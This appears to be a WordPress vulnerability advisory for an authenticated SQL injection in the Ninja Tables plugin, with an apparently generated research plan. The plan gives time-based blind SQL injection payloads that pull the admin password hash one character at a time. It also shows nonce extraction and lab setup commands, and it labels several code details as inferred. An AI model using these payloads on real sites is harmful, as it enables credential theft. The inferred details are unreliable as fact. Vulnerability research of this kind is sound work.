Ninja Tables <= 5.2.4 - Authenticated (Contributor+) SQL Injection
Description
The Ninja Tables plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.2.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.2.4Source Code
WordPress.org SVN# Research Plan: CVE-2025-69351 - Ninja Tables SQL Injection ## 1. Vulnerability Summary The **Ninja Tables** plugin (versions <= 5.2.4) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly escape or use `$wpdb->prepare()` for parameters use…
Show full research plan
Research Plan: CVE-2025-69351 - Ninja Tables SQL Injection
1. Vulnerability Summary
The Ninja Tables plugin (versions <= 5.2.4) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly escape or use $wpdb->prepare() for parameters used in data-fetching queries, specifically those related to table rendering and sorting. Authenticated users with Contributor-level access can exploit this to execute arbitrary SQL commands and extract sensitive data (e.g., WordPress user hashes) from the database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ninja_tables_ajax_action(Hook:wp_ajax_ninja_tables_ajax_action) - Vulnerable Parameter:
orderbyororder(inferred based on plugin architecture for table sorting). - Authentication: Required (Contributor+).
- Required Data: A valid
table_idand a validninja_tables_nonce.
3. Code Flow (Inferred from Plugin Structure)
- Entry Point: The request hits
admin-ajax.phpwithaction=ninja_tables_ajax_action. - Dispatcher: The
NinjaTables\App\Hooks\Handlers\AjaxHandler::handle()method (or similar) receives the request. - Routing: Based on the
routeormethodparameter, it calls a controller, likelyNinjaTables\App\Http\Controllers\TableController. - Data Fetching: The controller calls
getTableRows()orgetTableData(). - Vulnerable Sink: Inside the data fetching logic, the sorting parameters (
orderbyandorder) are taken from the$_REQUESTobject and concatenated directly into an SQL string used by$wpdb->get_results()without sufficient preparation.
4. Nonce Acquisition Strategy
Ninja Tables localizes its configuration and security tokens for the admin dashboard. Contributors can access the Ninja Tables menu if they have been granted permissions or if the plugin defaults allow it for the table builder.
- Shortcode/Page Setup: Ninja Tables scripts are usually enqueued on its own admin pages.
- Navigation: Navigate to the Ninja Tables dashboard:
/wp-admin/admin.php?page=ninja_tables. - JS Variable Extraction:
- Variable Name:
ninja_tables_admin_vars(inferred). - Nonce Key:
nonce. - Execution:
browser_eval("window.ninja_tables_admin_vars?.nonce")
- Variable Name:
5. Exploitation Strategy
We will use a time-based blind SQL injection to confirm the vulnerability and then extract the admin's password hash.
Step 1: Confirm Injection (Time-Based)
Send a request that triggers a 5-second delay.
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ninja_tables_ajax_action& route=get_table_data& table_id=[TABLE_ID]& orderby=id AND (SELECT 1 FROM (SELECT SLEEP(5))x)& order=ASC& ninja_tables_nonce=[NONCE]
Step 2: Extract Data (Boolean/Time-Based)
Since table data is often returned as JSON, we can also attempt Union-Based injection if the query structure allows, but Time-Based is the most reliable fallback.
Payload to check first character of admin password:id AND (SELECT 1 FROM (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0))x)
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Table Creation: Create a dummy table so we have a valid
table_id.- Use the Ninja Tables UI or WP-CLI if the plugin supports it to create at least one table.
wp eval "echo NinjaTables\App\Models\Table::create(['title' => 'Test Table'])->id;"(inferred class).
- Permissions: Ensure the contributor can see the table list to extract the nonce.
7. Expected Results
- Initial Request: Should return quickly (normal table data).
- Exploit Request: The HTTP response should be delayed by exactly 5 seconds (plus network overhead).
- Response Content: If Union-based is used, the JSON
rowsarray will contain the results of the injectedSELECTstatement.
8. Verification Steps
- Check Database: Verify the presence of the table created during setup.
wp db query "SELECT id FROM wp_ninja_tables LIMIT 1;"
- Validate SQLi via Logs: If
WP_DEBUGis enabled, check/wp-content/debug.logfor the malformed query error if the payload is slightly incorrect, confirming the sink. - Credential Extraction: Compare the character extracted via
SLEEP()with the actual hash in the database.wp db query "SELECT user_pass FROM wp_users WHERE ID=1;"
9. Alternative Approaches
- Order Parameter: If
orderbyis sanitized, check theorderparameter (e.g.,order=ASC, (SELECT 1 FROM (SELECT SLEEP(5))x)). - REST API: Check if the plugin registers REST routes (e.g.,
/wp-json/ninja-tables/v1/...) that use the same underlying controller logic. SQL injection in sorting parameters is often mirrored across AJAX and REST. - Filter Parameters: Parameters like
filter_columnor custom column keys in theget_table_dataroute might also be unsanitized.
Summary
The Ninja Tables plugin for WordPress (versions up to 5.2.4) is vulnerable to SQL injection because it fails to properly escape or use $wpdb->prepare() for parameters used in data-fetching and sorting queries. This allows authenticated attackers with Contributor-level access or higher to execute arbitrary SQL commands and extract sensitive information from the database.
Exploit Outline
The vulnerability is exploited through the 'ninja_tables_ajax_action' AJAX endpoint by authenticated users. An attacker identifies a valid table and its associated nonce, then submits a POST request with a malicious payload in parameters like 'orderby'. By using time-based blind SQL injection techniques (e.g., SLEEP functions), the attacker can systematically extract database contents, including WordPress user password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.